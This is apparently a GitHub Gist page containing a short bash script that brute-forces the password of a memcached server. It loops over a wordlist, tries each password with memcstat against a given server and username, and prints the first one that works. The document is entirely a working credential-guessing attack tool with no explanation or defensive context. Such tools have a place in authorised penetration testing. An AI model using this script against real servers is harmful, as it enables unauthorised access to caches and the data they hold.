Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#! /bin/bash
while read F ; do
echo "Trying $F"
if memcstat --servers=$1 --username=$2 --password=$F | grep -q Server ; then
echo "Password Found: "$F
break
fi
done < $3
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment